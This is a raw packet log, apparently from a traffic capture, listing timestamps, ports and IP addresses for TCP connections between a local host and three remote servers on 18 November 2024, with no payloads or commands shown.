Nov 18, 2024 15:17:03.626257896 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.626267910 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.626297951 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.626358032 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.626370907 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.626382113 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.626424074 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.626424074 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.626424074 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.626497030 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.626508951 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.626553059 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.626553059 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.626583099 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.626630068 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.626671076 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.626682043 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.626693010 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.626704931 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.626713991 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.626737118 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.626737118 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.626811028 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.626862049 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.626873016 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.626883030 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.626899958 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.626966000 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.627055883 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627068043 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627078056 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627180099 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627192020 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627192020 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.627192020 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.627203941 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627233028 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.627341032 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.627365112 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627376080 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627388000 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627437115 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.627437115 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.627438068 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.627518892 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627530098 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627541065 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627549887 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627587080 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.627587080 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.627643108 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627682924 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627696037 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627701044 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.627727032 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.627760887 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.627878904 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627890110 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627901077 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.627947092 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.627947092 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.635138035 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.635152102 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.635179996 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.635190964 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.635204077 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:03.635212898 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.635221004 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.635241985 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:03.635268927 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:03.675762892 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.675775051 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.675877094 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.722188950 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.722217083 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.722229004 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.722251892 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.722292900 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.722296000 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.722309113 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.722320080 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.722349882 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.722379923 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.722445965 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.722457886 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.722467899 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.722496033 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.722552061 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.722588062 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.722599983 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.722610950 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.722630978 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.722742081 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.722742081 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.744903088 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.744962931 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.744970083 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.744973898 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745075941 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745086908 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745095015 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.745095015 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.745100021 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745124102 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.745163918 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.745212078 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745227098 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745234013 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745313883 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.745313883 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.745346069 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745452881 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.745481968 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745493889 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745511055 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745522022 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745556116 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.745556116 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.745556116 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.745650053 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745661974 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745687008 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.745771885 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745783091 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745790958 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.745794058 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745821953 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.745822906 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.745893955 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745906115 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745917082 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.745950937 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.745995998 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.746030092 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.746041059 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.746068001 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.746140003 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.746151924 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.746176004 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.746176004 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.746236086 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.746247053 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.746258974 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.746280909 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.746280909 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.746280909 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.746304035 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.746424913 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.746436119 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.746448040 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.746459007 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.746470928 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.746475935 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.746493101 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.746565104 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.746673107 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.746746063 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.746756077 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.746762991 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.746876955 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.746876955 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.752825022 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.752839088 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.752871037 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.752882957 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.752891064 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:03.752909899 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.752931118 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:03.752959013 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:03.754707098 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.754715919 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.754729986 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.754775047 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:03.754777908 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.754786968 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.754816055 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:03.754837036 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:03.755028009 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.755079985 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.755121946 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:03.755255938 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:03.755279064 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:03.755280018 CET	443	49795	20.25.227.174	192.168.2.9
Nov 18, 2024 15:17:03.755323887 CET	49795	443	192.168.2.9	20.25.227.174
Nov 18, 2024 15:17:03.760111094 CET	49802	443	192.168.2.9	23.221.22.215
Nov 18, 2024 15:17:03.760140896 CET	443	49802	23.221.22.215	192.168.2.9
Nov 18, 2024 15:17:03.760211945 CET	49802	443	192.168.2.9	23.221.22.215
Nov 18, 2024 15:17:03.760504007 CET	49802	443	192.168.2.9	23.221.22.215
Nov 18, 2024 15:17:03.760514975 CET	443	49802	23.221.22.215	192.168.2.9
Nov 18, 2024 15:17:03.865919113 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.865933895 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.865946054 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.865993023 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.866018057 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.866022110 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.866033077 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.866039991 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.866045952 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.866095066 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.866275072 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.866295099 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.866307020 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.866316080 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.866317034 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.866328955 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.866359949 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.866395950 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.891592979 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.891654015 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.891665936 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.891674042 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.891699076 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.891736031 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.891781092 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.891793966 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.891804934 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.891823053 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.891864061 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.891864061 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.891864061 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.892045975 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.892057896 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.892069101 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.892080069 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.892086029 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.892091036 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.892102003 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.892113924 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.892122984 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.892162085 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.892416954 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.892560005 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.892592907 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.892606020 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.892616034 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.892626047 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.892637014 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.892647028 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.892658949 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.892668009 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.892668962 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.892679930 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.892688990 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.892718077 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.892930984 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.893098116 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.893110037 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.893120050 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.893131971 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.893141985 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.893151999 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.893153906 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.893178940 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.893193960 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.893403053 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.893414974 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.893425941 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.893459082 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.893459082 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.893501043 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.970675945 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.970755100 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.970761061 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.970808983 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.970850945 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.970850945 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.970880985 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.970915079 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.970925093 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.970948935 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.970993042 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.970993042 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.971056938 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.971122026 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.971154928 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.971160889 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.971179008 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.971179962 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.971189976 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.971201897 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:03.971231937 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.971231937 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:03.971255064 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.011930943 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.011954069 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.011965990 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.011987925 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.012042046 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.012054920 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012068033 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012073994 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012079954 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012105942 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.012274027 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012289047 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.012290001 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012312889 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012321949 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.012325048 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012336969 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012386084 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.012386084 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.012386084 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.012552023 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012609005 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.012689114 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012701035 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012712002 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012723923 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012733936 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012743950 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.012743950 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012743950 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.012756109 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012767076 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012778044 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.012806892 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.012806892 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.012820005 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.013185024 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.013201952 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.013227940 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.013236046 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.013236046 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.013237953 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.013248920 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.013259888 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.013266087 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.013290882 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.013290882 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.013377905 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.013533115 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.013628006 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.013638973 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.013654947 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.013664961 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.013674021 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.013674021 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:04.013675928 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:04.013689041 CET	80	49750	185.215.113.206	192.168.2.9
